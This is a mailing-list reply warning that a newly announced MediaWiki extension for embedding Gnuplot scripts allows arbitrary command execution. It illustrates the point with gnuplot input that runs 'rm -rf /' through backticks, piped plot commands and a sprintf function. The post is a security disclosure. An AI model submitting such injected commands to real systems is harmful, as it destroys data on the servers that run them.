Re: [Gnuplot-info] Mediawiki Extension

[Micha W. <mw...@gm...>]

David Seymore wrote:
> Hi All,
>     I just wanted to let you know that I wrote an extension to MediaWiki
> to allow Gnuplot scripts to be embedded into a wiki article, and
> displayed as a graph. I wanted to thank all of the developers for
> Gnuplot, and give back something that is very helpful to my projects.
> 
> http://www.mediawiki.org/wiki/Extension:Gnuplot

I think that there is a huge security risk, since you can execute
arbitrary commands with gnuplot, consider input like:

<gnuplot>
`rm -rf /`
plot "< rm / -rf /"
IAmBad(x) = sprintf("< rm -rf /")
plot IamBad(1)
</gnuplot>